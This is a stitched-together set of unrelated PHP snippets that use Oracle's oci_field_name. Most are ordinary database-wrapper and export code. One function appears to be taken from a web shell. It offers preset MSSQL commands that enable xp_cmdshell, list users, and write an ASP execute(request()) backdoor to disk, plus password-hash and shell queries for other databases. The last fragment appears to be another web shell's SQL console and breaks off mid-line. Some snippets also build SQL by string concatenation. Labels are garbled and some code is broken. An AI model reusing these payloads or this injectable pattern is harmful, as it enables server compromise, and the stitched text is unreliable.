function cargarArray($sentencia) { include dirname(__FILE__) . '/conectar_ORACLE.php'; $array = array(); $sentenciaExec = oci_parse($c, $sentencia); oci_execute($sentenciaExec); $error = 0; $k = 0; $ncols = oci_num_fields($sentenciaExec); for ($i = 1; $i <= $ncols; ++$i) { $colname = oci_field_name($sentenciaExec, $i); $array[0][$k] = $colname; $k++; } $cont = 0; $j = 1; $k = 0; while ($row = oci_fetch_array($sentenciaExec, OCI_BOTH + OCI_RETURN_NULLS)) { while ($cont < $ncols) { $array[$j][$cont] = $row[$cont]; $cont++; } $cont = 0; $k = 0; $j++; } if (oci_num_rows($sentenciaExec) == 0) { oci_free_statement($sentenciaExec); return false; } else { oci_free_statement($sentenciaExec); return $array; } }
function fetchAndUpdateFacultyInfo($query, $conn, $nextPage) { $stid = oci_parse($conn, $query); var_dump($query); oci_execute($stid); echo "<form action=\"{$nextPage}?user=FACULTY\">"; echo "<table border='1'>\n"; while ($row = oci_fetch_array($stid, OCI_ASSOC + OCI_RETURN_NULLS)) { $i = 1; foreach ($row as $item) { echo "<tr>\n"; $column_name = oci_field_name($stid, $i); echo "<td> {$column_name} </td>\n"; if ($column_name == "UnityId" || $column_name == "FacultyNo" || $column_name == "Balance" || $column_name == "Type" || $column_name == "Category" || $column_name == "isHeld" || $column_name == "Department") { echo " <td>" . "<input type=\"text\" name=\"{$column_name}\" value=\"{$item}\" readonly>" . "</td>\n"; } else { echo " <td>" . "<input type=\"text\" name=\"{$column_name}\" value=\"{$item}\" >" . "</td>\n"; } $i++; echo "</tr>\n"; } } echo "</table>\n"; echo "<input type=\"submit\" value=\"Update\">"; echo "</form>"; }
function GetData($_start, $_count = 999999) { $_tpl_select_command = "SELECT {fields} FROM ( SELECT a.*, rownum rnum FROM ({SelectCommand}) a WHERE rownum <= " . ($_start + $_count) . " ) WHERE rnum >= " . $_start . " {where} {orderby} {groupby}"; //Fields $_fields = ""; $_fld_array = array(); $_st_id = oci_parse($this->_Link, $this->SelectCommand); if ($_st_id) { oci_execute($_st_id); $_num_fields = oci_num_fields($_st_id); for ($i = 1; $i <= $_num_fields; $i++) { array_push($_fld_array, '"' . oci_field_name($_st_id, $i) . '"'); } } for ($i = 0; $i < sizeof($_fld_array); $i++) { $_fields .= ", " . $_fld_array[$i]; } if ($_fields != "") { $_fields = substr($_fields, 2); } //Filters $_where = ""; $_filters = $this->Filters; for ($i = 0; $i < sizeof($_filters); $i++) { $_where .= " and " . $this->GetFilterExpression($_filters[$i]); } //Order $_orderby = ""; $_orders = $this->Sorts; for ($i = 0; $i < sizeof($_orders); $i++) { $_orderby .= ", " . $_orders[$i]->Field . " " . $_orders[$i]->Order; } if ($_orderby != "") { $_orderby = "ORDER BY " . substr($_orderby, 2); } //Group $_groupby = ""; $_groups = $this->Groups; for ($i = 0; $i < sizeof($_groups); $i++) { $_groupby .= ", " . $_groups[$i]->Field; } if ($_groupby != "") { $_groupby = "GROUP BY " . substr($_groupby, 2); } $_select_command = str_replace("{fields}", $_fields, $_tpl_select_command); $_select_command = str_replace("{SelectCommand}", $this->SelectCommand, $_select_command); $_select_command = str_replace("{where}", $_where, $_select_command); $_select_command = str_replace("{orderby}", $_orderby, $_select_command); $_select_command = str_replace("{groupby}", $_groupby, $_select_command); $_rows = array(); $_st_id = oci_parse($this->_Link, $_select_command); if ($_st_id) { oci_execute($_st_id); while ($_row = oci_fetch_array($_st_id, OCI_ASSOC + OCI_RETURN_NULLS)) { array_push($_rows, $_row); } } return $_rows; }
public function getResultFields() { if (empty($this->resultFields)) { $numFields = oci_num_fields($this->resource); for ($i = 0; $i < $numFields; $i++) { $this->resultFields[$i] = array("name" => oci_field_name($this->resource, $i + 1), "type" => oci_field_type($this->resource, $i + 1)); } } return $this->resultFields; }
public static function oci_field_name($connection, $statement, $fieldNumber) { self::checkOCIExtension('oci_field_name'); $name = @oci_field_name($statement, $fieldNumber); if ($name === FALSE) { $error = oci_error($connection); throw new IllegalStateException(t('Could not retrieve the name of a field (field number: @fieldNumber) from the statement: @error', array('@fieldNumber' => $fieldNumber, '@error' => t($error['message'])))); } return $name; }
public function field_data() { $retval = array(); for ($c = 1, $fieldCount = $this->num_fields(); $c <= $fieldCount; $c++) { $F = new stdClass(); $F->name = oci_field_name($this->stmt_id, $c); $F->type = oci_field_type($this->stmt_id, $c); $F->max_length = oci_field_size($this->stmt_id, $c); $retval[] = $F; } return $retval; }
function fetchAssoc() { if ($this->cursor >= $this->nrows) { return false; } $row = $this->rows[$this->cursor++]; $ret = array(); foreach ($row as $k => $v) { $lc = strtolower(oci_field_name($this->stmt, $k + 1)); $ret[$lc] = $v; $ret[$k] = $v; } return $ret; }
function paginate($start, $limit) { // Extract the fields being selected (swiped from PEAR::DB) $sql = "SELECT * FROM ({$this->sql}) WHERE 1=1"; $stmt = new lmbOciStatement($this->connection, $sql); $queryId = $this->connection->executeStatement($stmt->getStatement()); $ncols = oci_num_fields($queryId); $cols = array(); for ($i = 1; $i <= $ncols; $i++) { $cols[] = '"' . oci_field_name($queryId, $i) . '"'; } $fields = implode(',', $cols); // Build the paginated query... $sql = "SELECT {$fields} FROM" . " (SELECT rownum as linenum, {$fields} FROM" . " ({$this->sql})" . ' WHERE rownum <= ' . ($start + $limit) . ') WHERE linenum >= ' . ++$start; $this->sql = $sql; }
function fetchInfo($query, $conn) { $stid = oci_parse($conn, $query); var_dump($query); oci_execute($stid); while ($row = oci_fetch_array($stid, OCI_ASSOC + OCI_RETURN_NULLS)) { $i = 1; echo "<tr>\n"; foreach ($row as $item) { $column_name = oci_field_name($stid, $i); echo " <td>" . $item . "</td>\n"; $i++; } echo "</tr>\n"; } }
/** * Returns an array of fields according to columns in the result. * * @return \Bitrix\Main\Entity\ScalarField[] */ public function getFields() { if ($this->resultFields == null) { $this->resultFields = array(); if (is_resource($this->resource)) { $numFields = oci_num_fields($this->resource); if ($numFields > 0 && $this->connection) { $helper = $this->connection->getSqlHelper(); for ($i = 1; $i <= $numFields; $i++) { $name = oci_field_name($this->resource, $i); $type = oci_field_type($this->resource, $i); $parameters = array("precision" => oci_field_precision($this->resource, $i), "scale" => oci_field_scale($this->resource, $i), "size" => oci_field_size($this->resource, $i)); $this->resultFields[$name] = $helper->getFieldByColumnType($name, $type, $parameters); } } } } return $this->resultFields; }
function _FetchField($fieldOffset = -1) { global $QUERCUS; $fld = new ADOFieldObject(); if (!empty($QUERCUS)) { $fld->name = oci_field_name($this->_queryID, $fieldOffset); $fld->type = oci_field_type($this->_queryID, $fieldOffset); $fld->max_length = oci_field_size($this->_queryID, $fieldOffset); //if ($fld->name == 'VAL6_NUM_12_4') $fld->type = 'NUMBER'; switch ($fld->type) { case 'string': $fld->type = 'VARCHAR'; break; case 'real': $fld->type = 'NUMBER'; break; } } else { $fieldOffset += 1; $fld->name = oci_field_name($this->_queryID, $fieldOffset); $fld->type = oci_field_type($this->_queryID, $fieldOffset); $fld->max_length = oci_field_size($this->_queryID, $fieldOffset); } switch ($fld->type) { case 'NUMBER': $p = oci_field_precision($this->_queryID, $fieldOffset); $sc = oci_field_scale($this->_queryID, $fieldOffset); if ($p != 0 && $sc == 0) { $fld->type = 'INT'; } $fld->scale = $p; break; case 'CLOB': case 'NCLOB': case 'BLOB': $fld->max_length = -1; break; } return $fld; }
private function _getColumnMeta($stmt, $columnIndex = 0) { $meta['name'] = \strtoupper(oci_field_name($stmt, $columnIndex + 1)); $meta['len'] = oci_field_size($stmt, $columnIndex + 1); $type = oci_field_type($stmt, $columnIndex + 1); $rType = 'C'; if ($type == "VARCHAR") { $rType = 'C'; } elseif ($type == "CHAR") { $rType = 'C'; } elseif ($type == "NUMBER") { $rType = 'N'; } elseif ($type == "DATE") { $rType = 'D'; } elseif ($type == "TIMESTAMP") { $rType = 'D'; } elseif ($type == "BLOB") { $rType = 'O'; } elseif ($type == "CLOB") { $rType = 'O'; } $meta['type'] = $rType; return $meta; }
/** * Returns metadata for all columns in a result set. * @return array */ public function getResultColumns() { $count = oci_num_fields($this->resultSet); $columns = array(); for ($i = 1; $i <= $count; $i++) { $columns[] = array('name' => oci_field_name($this->resultSet, $i), 'table' => NULL, 'fullname' => oci_field_name($this->resultSet, $i), 'nativetype' => oci_field_type($this->resultSet, $i)); } return $columns; }
/** * Executes a prepared statement. * * @param array $params OPTIONAL Values to bind to parameter placeholders. * @return bool * @throws \Zend\Db\Statement\Exception */ public function _execute(array $params = null) { $connection = $this->_adapter->getConnection(); if (!$this->_stmt) { return false; } if ($params !== null) { if (!is_array($params)) { $params = array($params); } $error = false; foreach (array_keys($params) as $name) { if (!@oci_bind_by_name($this->_stmt, $name, $params[$name], -1)) { $error = true; break; } } if ($error) { throw new OracleException(oci_error($this->_stmt)); } } $retval = @oci_execute($this->_stmt, $this->_adapter->_getExecuteMode()); if ($retval === false) { throw new OracleException(oci_error($this->_stmt)); } $this->_keys = array(); if ($field_num = oci_num_fields($this->_stmt)) { for ($i = 1; $i <= $field_num; $i++) { $name = oci_field_name($this->_stmt, $i); $this->_keys[] = $name; } } $this->_values = array(); if ($this->_keys) { $this->_values = array_fill(0, count($this->_keys), null); } return $retval; }
<?php header("Pragma: public"); header("Expires: 0"); header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); header("Content-Type: application/vnd.ms-excel"); header("Content-Disposition: attachment; filename=OGP.OLO.xls"); include "config/connect.php"; $sql = OCIParse($connect, "SELECT * FROM SB_OLO WHERE STAT_SERVICE <> 'Closed'"); ociexecute($sql); echo "<table border='1'>\n"; $ncols = oci_num_fields($sql); echo "<tr>\n"; for ($i = 1; $i <= $ncols; ++$i) { $colname = oci_field_name($sql, $i); echo " <th><b>" . htmlentities($colname, ENT_QUOTES) . "</b></th>\n"; } echo "</tr>\n"; while (($row = oci_fetch_array($sql, OCI_ASSOC + OCI_RETURN_NULLS)) != false) { echo "<tr>\n"; foreach ($row as $therow) { echo " <td>" . ($therow !== null ? htmlentities($therow, ENT_QUOTES) : " ") . "</td>\n"; } echo "</tr>\n"; } echo "</table>\n";
/** * Get column meta data * * @param int $colnum column number * * @return mixed column meta data */ public function getColumnMeta($colnum = 0) { if (!$this->_stmt) { return null; } $name = \oci_field_name($this->_stmt, $colnum + 1); $len = \oci_field_size($this->_stmt, $colnum + 1); $prec = \oci_field_scale($this->_stmt, $colnum + 1); $type = \oci_field_type($this->_stmt, $colnum + 1); return array("name" => $name, "len" => $len, "precision" => $prec, "driver:decl_type" => $type); }
function sql_field_name($sqltype, $result, $i) { if ($sqltype == 'mysql') { if (class_exists('mysqli_result')) { $z = $result->fetch_field(); return $z->name; } elseif (function_exists('mysql_field_name')) { return mysql_field_name($result, $i); } } elseif ($sqltype == 'mssql') { if (function_exists('sqlsrv_field_metadata')) { $metadata = sqlsrv_field_metadata($result); if (is_array($metadata)) { $metadata = $metadata[$i]; } if (is_array($metadata)) { return $metadata['Name']; } } elseif (function_exists('mssql_field_name')) { return mssql_field_name($result, $i); } } elseif ($sqltype == 'pgsql') { return pg_field_name($result, $i); } elseif ($sqltype == 'oracle') { return oci_field_name($result, $i + 1); } elseif ($sqltype == 'sqlite3') { return $result->columnName($i); } elseif ($sqltype == 'sqlite') { return sqlite_field_name($result, $i); } elseif ($sqltype == 'odbc') { return odbc_field_name($result, $i + 1); } elseif ($sqltype == 'pdo') { $res = $result->getColumnMeta($i); return $res['name']; } }
function otherdb() { $db = isset($_GET['db']) ? $_GET['db'] : 'ms'; print <<<END <form method="POST" name="dbform" id="dbform" action="?s=gg&db={$db}" enctype="multipart/form-data"> <div class="actall"> <a href="?s=gg&db=ms">   MSSQL  </a> <a href="?s=gg&db=ora">   Oracle  </a> <a href="?s=gg&db=ifx">   InforMix  </a> <a href="?s=gg&db=fb">   FireBird  </a> <a href="?s=gg&db=db2">  DB2  </a></div></form> END; if ($db == "ms") { $mshost = isset($_POST['mshost']) ? $_POST['mshost'] : 'localhost'; $msuser = isset($_POST['msuser']) ? $_POST['msuser'] : '******'; $mspass = isset($_POST['mspass']) ? $_POST['mspass'] : ''; $msdbname = isset($_POST['msdbname']) ? $_POST['msdbname'] : 'master'; $msaction = isset($_POST['action']) ? $_POST['action'] : ''; $msquery = isset($_POST['mssql']) ? $_POST['mssql'] : ''; $msquery = stripslashes($msquery); print <<<END <div class="actall"> <form method="POST" name="msform" action="?s=gg&db=ms"> Host:<input type="text" name="mshost" value="{$mshost}" style="width:100px"> User:<input type="text" name="msuser" value="{$msuser}" style="width:100px"> Pass:<input type="text" name="mspass" value="{$mspass}" style="width:100px"> Dbname:<input type="text" name="msdbname" value="{$msdbname}" style="width:100px"><br> <script language="javascript"> function msFull(i){ \tStr = new Array(11); \tStr[0] = ""; \tStr[1] = "select @@version;"; \tStr[2] = "select name from sysdatabases;"; \tStr[3] = "select name from sysobject where type='U';"; \tStr[4] = "select name from syscolumns where id=Object_Id('table_name');"; \tStr[5] = "Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll');"; \tStr[6] = "Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll');"; \tStr[7] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;"; \tStr[8] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;"; \tStr[9] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;"; \tStr[10] = "Exec master.dbo.xp_cmdshell 'net user';"; \tStr[11] = "Declare @s int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^<%execute(request(char(35)))%^> > c:\\\\1.asp';"; \tStr[12] = "sp_makewebtask @outputfile='d:\\\\web\\\\bin.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))%>''' "; \tmsform.mssql.value = Str[i]; \treturn true; } </script> <textarea name="mssql" style="width:600px;height:200px;">{$msquery}</textarea><br> <select onchange="return msFull(options[selectedIndex].value)"> \t<option value="0" selected>ִ������</option> \t<option value="1">��ʾ�汾</option> \t<option value="2">���ݿ�</option> \t<option value="3">����</option> \t<option value="4">�ֶ�</option> \t<option value="5">sp_oacreate</option> \t<option value="6">xp_cmdshell</option> \t<option value="7">xp_cmdshell(2005)</option> \t<option value="8">sp_oacreate(2005)</option> \t<option value="9">����openrowset(2005)</option> \t<option value="10">xp_cmdshell exec</option> \t<option value="10">sp_oamethod exec</option> \t<option value="11">sp_makewebtask</option> </select> <input type="hidden" name="action" value="msquery"> <input class="bt" type="submit" value="Query"></form></div> END; if ($msaction == 'msquery') { $msconn = mssql_connect($mshost, $msuser, $mspass); mssql_select_db($msdbname, $msconn) or die("connect error :" . mssql_get_last_message()); $msresult = mssql_query($msquery) or die(mssql_get_last_message()); echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n"; for ($i = 0; $i < mssql_num_fields($msresult); $i++) { echo '<td><b>' . mssql_field_name($msresult, $i) . "</b></td>\n"; } echo "</tr>\n"; mssql_data_seek($result, 0); while ($msrow = mssql_fetch_row($msresult)) { echo "<tr>\n"; for ($i = 0; $i < mssql_num_fields($msresult); $i++) { echo '<td>' . "{$msrow[$i]}" . '</td>'; } echo "</tr>\n"; } echo "</table></font>"; mssql_free_result($msresult); mssql_close(); } } elseif ($db == "ora") { $orahost = isset($_POST['orahost']) ? $_POST['orahost'] : 'localhost'; $oraport = isset($_POST['oraport']) ? $_POST['oraport'] : '1521'; $orauser = isset($_POST['orauser']) ? $_POST['orauser'] : '******'; $orapass = isset($_POST['orapass']) ? $_POST['orapass'] : '******'; $orasid = isset($_POST['orasid']) ? $_POST['orasid'] : 'ORCL'; $oraaction = isset($_POST['action']) ? $_POST['action'] : ''; $oraquery = isset($_POST['orasql']) ? $_POST['orasql'] : ''; $oraquery = stripslashes($oraquery); print <<<END <form method="POST" name="oraform" action="?s=gg&db=ora"> <div class="actall"> Host:<input type="text" name="orahost" value="{$orahost}" style="width:100px"> Port:<input type="text" name="oraport" value="{$oraport}" style="width:50px"> User:<input type="text" name="orauser" value="{$orauser}" style="width:80px"> Pass:<input type="text" name="orapass" value="{$orapass}" style="width:100px"> SID:<input type="text" name="orasid" value="{$orasid}" style="width:50px"><br> <script language="javascript"> function oraFull(i){ Str = new Array(5); \tStr[0] = ""; \tStr[1] = "select version();"; \tStr[2] = "SELECT NAME FROM V{$DATABASE}"; \tStr[3] = "select * From all_objects where object_type='TABLE'"; \tStr[4] = "select column_name from user_tab_columns where table_name='table1'"; \toraform.orasql.value = Str[i]; \treturn true; } </script> <textarea name="orasql" style="width:600px;height:200px;">{$oraquery}</textarea><br> <select onchange="return oraFull(options[selectedIndex].value)"> \t<option value="0" selected>ִ������</option> \t<option value="1">��ʾ�汾</option> \t<option value="2">���ݿ�</option> \t<option value="3">����</option> \t<option value="4">�ֶ�</option> </select> <input type="hidden" name="action" value="myquery"> <input class="bt" type="submit" value="Query"></div></form> END; if ($oraaction == 'oraquery') { $oralink = OCILogon($orauser, $orapass, "(DEscriptION=(ADDRESS=(PROTOCOL =TCP)(HOST={$orahost})(PORT = {$oraport}))(CONNECT_DATA =(SID={$orasid})))") or die(ocierror()); $oraresult = ociparse($oralink, $oraquery) or die(ocierror()); $orarow = oci_fetch_row($oraresult); echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n"; for ($i = 0; $i < oci_num_fields($oraresult); $i++) { echo '<td><b>' . oci_field_name($oraresult, $i) . "</b></td>\n"; } echo "</tr>\n"; ociresult($oraresult, 0); while ($orarow = ora_fetch_row($oraresult)) { echo "<tr>\n"; for ($i = 0; $i < ora_num_fields($result); $i++) { echo '<td>' . "{$orarow[$i]}" . '</td>'; } echo "</tr>\n"; } echo "</table></font>"; oci_free_statement($oraresult); ocilogoff(); } } elseif ($db == "ifx") { $ifxuser = isset($_POST['ifxuser']) ? $_POST['ifxuser'] : '******'; $ifxpass = isset($_POST['ifxpass']) ? $_POST['ifxpass'] : '******'; $ifxdbname = isset($_POST['ifxdbname']) ? $_POST['ifxdbname'] : 'ifxdb'; $ifxaction = isset($_POST['action']) ? $_POST['action'] : ''; $ifxquery = isset($_POST['ifxsql']) ? $_POST['ifxsql'] : ''; $ifxquery = stripslashes($ifxquery); print <<<END <form method="POST" name="ifxform" action="?s=gg&db=ifx"> <div class="actall">Dbname:<input type="text" name="ifxhost" value="{$ifxdbname}" style="width:100px"> User:<input type="text" name="ifxuser" value="{$ifxuser}" style="width:100px"> Pass:<input type="text" name="ifxpass" value="{$ifxpass}" style="width:100px"><br> <script language="javascript"> function ifxFull(i){ Str = new Array(11); \tStr[0] = ""; \tStr[1] = "select dbservername from sysobjects;"; \tStr[2] = "select name from sysdatabases;"; \tStr[3] = "select tabname from systables;"; \tStr[4] = "select colname from syscolumns where tabid=n;"; \tStr[5] = "select username,usertype,password from sysusers;"; \tifxform.ifxsql.value = Str[i]; \treturn true; } </script> <textarea name="ifxsql" style="width:600px;height:200px;">{$ifxquery}</textarea><br> <select onchange="return ifxFull(options[selectedIndex].value)"> \t<option value="0" selected>ִ������</option> \t<option value="1">���ݿ�����������</option> \t<option value="1">���ݿ�</option> \t<option value="2">����</option> \t<option value="3">�ֶ�</option> \t<option value="4">hashes</option> </select> <input type="hidden" name="action" value="ifxquery"> <input class="bt" type="submit" value="Query"></div></form> END; if ($ifxaction == 'ifxquery') { $ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg()); $ifxresult = ifx_query($ifxquery, $ifxlink) or die(ifx_errormsg()); $ifxrow = ifx_fetch_row($ifxresult); echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n"; for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) { echo '<td><b>' . ifx_fieldproperties($ifxresult) . "</b></td>\n"; } echo "</tr>\n"; mysql_data_seek($ifxresult, 0); while ($ifxrow = ifx_fetch_row($ifxresult)) { echo "<tr>\n"; for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) { echo '<td>' . "{$ifxrow[$i]}" . '</td>'; } echo "</tr>\n"; } echo "</table></font>"; ifx_free_result($ifxresult); ifx_close(); } } elseif ($db == "db2") { $db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost'; $db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000'; $db2user = isset($_POST['db2user']) ? $_POST['db2user'] : '******'; $db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '******'; $db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql'; $db2action = isset($_POST['action']) ? $_POST['action'] : ''; $db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : ''; $db2query = stripslashes($db2query); print <<<END <form method="POST" name="db2form" action="?s=gg&db=db2"> <div class="actall">Host:<input type="text" name="db2host" value="{$db2host}" style="width:100px"> Port:<input type="text" name="db2port" value="{$db2port}" style="width:60px"> User:<input type="text" name="db2user" value="{$db2user}" style="width:100px"> Pass:<input type="text" name="db2pass" value="{$db2pass}" style="width:100px"> Dbname:<input type="text" name="db2dbname" value="{$db2dbname}" style="width:100px"><br> <script language="javascript"> function db2Full(i){ Str = new Array(4); \tStr[0] = ""; \tStr[1] = "select schemaname from syscat.schemata;"; \tStr[2] = "select name from sysibm.systables;"; \tStr[3] = "select colname from syscat.columns where tabname='table_name';"; \tStr[4] = "db2 get db cfg for db_name;"; db2form.db2sql.value = Str[i]; return true; } </script> <textarea name="db2sql" style="width:600px;height:200px;">{$db2query}</textarea><br> <select onchange="return db2Full(options[selectedIndex].value)"> \t<option value="0" selected>ִ������</option> \t<option value="1">���ݿ�</option> \t<option value="1">����</option> \t<option value="2">�ֶ�</option> \t<option value="3">���ݿ�����</option> </select> <input type="hidden" name="action" value="db2query"> <input class="bt" type="submit" value="Query"></div></form> END; if ($myaction == 'db2query') { $db2link = db2_connect($db2dbname, $db2user, $db2pass) or die(db2_conn_errormsg()); $db2result = db2_exec($db2link, $db2query) or die(db2_stmt_errormsg()); $db2row = db2_fetch_row($db2result); echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n"; for ($i = 0; $i < db2_num_fields($db2result); $i++) { echo '<td><b>' . db2_field_name($db2result) . "</b></td>\n"; } echo "</tr>\n"; while ($db2row = db2_fetch_row($db2result)) { echo "<tr>\n"; for ($i = 0; $i < db2_num_fields($db2result); $i++) { echo '<td>' . "{$db2row[$i]}" . '</td>'; } echo "</tr>\n"; } echo "</table></font>"; db2_free_result($db2result); db2_close(); } } elseif ($db == "fb") { $fbhost = isset($_POST['fbhost']) ? $_POST['fbhost'] : 'localhost'; $fbpath = isset($_POST['fbpath']) ? $_POST['fbpath'] : ''; $fbpath = str_replace("\\\\", "\\", $fbpath); $fbuser = isset($_POST['fbuser']) ? $_POST['fbuser'] : '******'; $fbpass = isset($_POST['fbpass']) ? $_POST['fbpass'] : '******'; $fbaction = isset($_POST['action']) ? $_POST['action'] : ''; $fbquery = isset($_POST['fbsql']) ? $_POST['fbsql'] : ''; $fbquery = stripslashes($fbquery); print <<<END <form method="POST" name="fbform" action="?s=gg&db=fb"> <div class="actall">Host:<input type="text" name="fbhost" value="{$fbhost}" style="width:100px"> Path:<input type="text" name="fbpath" value="{$fbpath}" style="width:100px"> User:<input type="text" name="fbuser" value="{$fbuser}" style="width:100px"> Pass:<input type="text" name="fbpass" value="{$fbpass}" style="width:100px"><br/> <script language="javascript"> function fbFull(i){ Str = new Array(5); \tStr[0] = ""; \tStr[1] = "select RDB\$RELATION_NAME from RDB\$RELATIONS;"; \tStr[2] = "select RDB\$FIELD_NAME from RDB\$RELATION_FIELDS where RDB\$RELATION_NAME='table_name';"; \tStr[3] = "input 'D:\\createtable.sql';"; \tStr[4] = "shell netstat -an;"; fbform.fbsql.value = Str[i]; return true; } </script> <textarea name="fbsql" style="width:600px;height:200px;">{$fbquery}</textarea><br> <select onchange="return fbFull(options[selectedIndex].value)"> \t<option value="0" selected>ִ������</option> \t<option value="1">����</option> \t<option value="2">�ֶ�</option> \t<option value="3">����sql</option> \t<option value="4">shell</option> </select> <input type="hidden" name="action" value="fbquery"> <input class="bt" type="submit" value="Query"></div></form> END; if ($fbaction == 'fbquery') { $fblink = ibase_connect($fbhost . ':' . $fbpath, $fbuser, $fbpass) or die(ibase_errmsg()); $fbresult = ibase_query($fblink, $fbquery) or die(ibase_errmsg()); echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n"; for ($i = 0; $i < ibase_num_fields($fbresult); $i++) { echo '<td><b>' . ibase_field_info($fbresult, $i) . "</b></td>\n"; } echo "</tr>\n"; ibase_field_info($fbresult, 0); while ($fbrow = ibase_fetch_row($fbresult)) { echo "<tr>\n"; for ($i = 0; $i < ibase_num_fields($fbresult); $i++) { echo '<td>' . "{$fbrow[$i]}" . '</td>'; } echo "</tr>\n"; } echo "</table></font>"; ibase_free_result($fbresult); ibase_close(); } } }
/** * Devuelve el nombre de un campo en el resultado de un select * * @param int $number * @param resource $resultQuery * @return string */ function field_name($number, $resultQuery = '') { if (!$this->id_connection) { return false; } if (!$resultQuery) { $resultQuery = $this->last_result_query; if (!$resultQuery) { throw new KumbiaException($this->error('Resource invalido para db::field_name')); } } if (($fieldName = oci_field_name($resultQuery, $number + 1)) !== false) { return strtolower($fieldName); } else { throw new KumbiaException($this->error()); } return false; }
if ($FILTROSUCURSALES !== "") { $filtros .= ' Sucursales: ' . $FILTROSUCURSALES . '.'; } if ($FILTROCOORDINADOR !== "") { $filtros .= ' Cordinador: ' . $FILTROCOORDINADOR . '.'; } if ($FILTROSUSCRIPTOR !== "") { $filtros .= ' Suscriptor: ' . $FILTROSUSCRIPTOR . '.'; } /** Borders for 1st line */ $objPHPExcel->getActiveSheet()->getStyle('A1:' . $objPHPExcel->getActiveSheet()->getHighestColumn() . $objPHPExcel->getActiveSheet()->getHighestRow())->getBorders()->getAllBorders()->setBorderStyle(PHPExcel_Style_Border::BORDER_THIN); /** Color for 1st line*/ $objPHPExcel->getActiveSheet()->getStyle('A1')->applyFromArray(array('fill' => array('type' => PHPExcel_Style_Fill::FILL_SOLID, 'color' => array('rgb' => 'FF0000')))); $objPHPExcel->getActiveSheet()->getStyle('A1')->getFont()->setBold(true)->getColor()->setRGB('FFFFFF'); for ($i = 1; $i <= $ncols; ++$i) { $colname = oci_field_name($REFCUR, $i); $objPHPExcel->getActiveSheet()->setCellValue($COLL . '3', $colname); $COLL++; } $COLN = 4; $COLL = 'A'; $LAST_COLL = 'A'; $NUM_COL = 0; // $COLLTOTALES = 'C'; while ($row = oci_fetch_array($REFCUR, OCI_BOTH + OCI_RETURN_NULLS)) { while ($NUM_COL < $ncols) { $objPHPExcel->getActiveSheet()->setCellValue($COLL . $COLN, $row[$NUM_COL]); $NUM_COL++; $LAST_COLL = $COLL; $COLL++; }
function db_columnName($oStmt, $iPos) { return oci_field_name($oStmt, $iPos); }
/** * Executes a prepared statement. * * @param array $params OPTIONAL Values to bind to parameter placeholders. * @return bool * @throws Zend_Db_Statement_Exception */ public function _execute(array $params = null) { $connection = $this->_adapter->getConnection(); if (!$this->_stmt) { return false; } if ($params !== null) { if (!is_array($params)) { $params = array($params); } $error = false; foreach (array_keys($params) as $name) { if (!$this->bindParam($name, $params[$name], null, -1)) { $error = true; break; } } if ($error) { /** * @see Zend_Db_Adapter_Oracle_Exception */ require_once LIB_DIR . '/Zend/Db/Statement/Oracle/Exception.php'; throw new Zend_Db_Statement_Oracle_Exception(oci_error($this->_stmt)); } } $retval = @oci_execute($this->_stmt, $this->_adapter->_getExecuteMode()); if ($retval === false) { /** * @see Zend_Db_Adapter_Oracle_Exception */ require_once LIB_DIR . '/Zend/Db/Statement/Oracle/Exception.php'; throw new Zend_Db_Statement_Oracle_Exception(oci_error($this->_stmt)); } $this->_keys = array(); if ($field_num = oci_num_fields($this->_stmt)) { for ($i = 1; $i <= $field_num; $i++) { $name = oci_field_name($this->_stmt, $i); $this->_keys[] = $name; } } $this->_values = array(); if ($this->_keys) { $this->_values = array_fill(0, count($this->_keys), null); } return $retval; }
$s_result .= "\t<form action=\"" . $_SERVER['PHP_SELF'] . "?db\" method=\"post\">\n\t\t\t\t\t<input type=\"hidden\" name=\"sqlhost\" value=\"" . $sqlhost . "\" />\n\t\t\t\t\t<input type=\"hidden\" name=\"sqluser\" value=\"" . $sqluser . "\" />\n\t\t\t\t\t<input type=\"hidden\" name=\"sqlport\" value=\"" . $sqlport . "\" />\n\t\t\t\t\t<input type=\"hidden\" name=\"sqlpass\" value=\"" . $sqlpass . "\" />\n\t\t\t\t\t<input type=\"hidden\" name=\"d\" value=\"" . $pwd . "\" />\n\t\t\t\t\t<textarea id=\"sqlcode\" name=\"sqlcode\" class=\"evalcode\" style=\"height:10em;\">" . $sqls . "</textarea>\n\t\t\t\t\t<p><input type=\"submit\" name=\"mssqlcon\" class=\"inputzbut\" value=\"Go !\" style=\"width:120px;height:30px;\" />\n\t\t\t\t\t Separate multiple commands with a semicolon <span class=\"gaya\">[</span> ; <span class=\"gaya\">]</span></p>\n\t\t\t\t\t</form>"; $s_result .= "<div>" . $q_result . "</div>"; if ($con) { mssql_close($con); } } elseif (isset($_REQUEST['oraclecon']) && ($con = oci_connect($sqluser, $sqlpass, $hostandport))) { if (isset($_REQUEST['sqlcode'])) { $sqls = ss($_REQUEST['sqlcode']); $querys = explode(";", $sqls); foreach ($querys as $query) { if (trim($query) != "") { $st = oci_parse($con, $query); if (oci_execute($st)) { $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">" . $query . "; \n\t\t\t\t\t\t<span 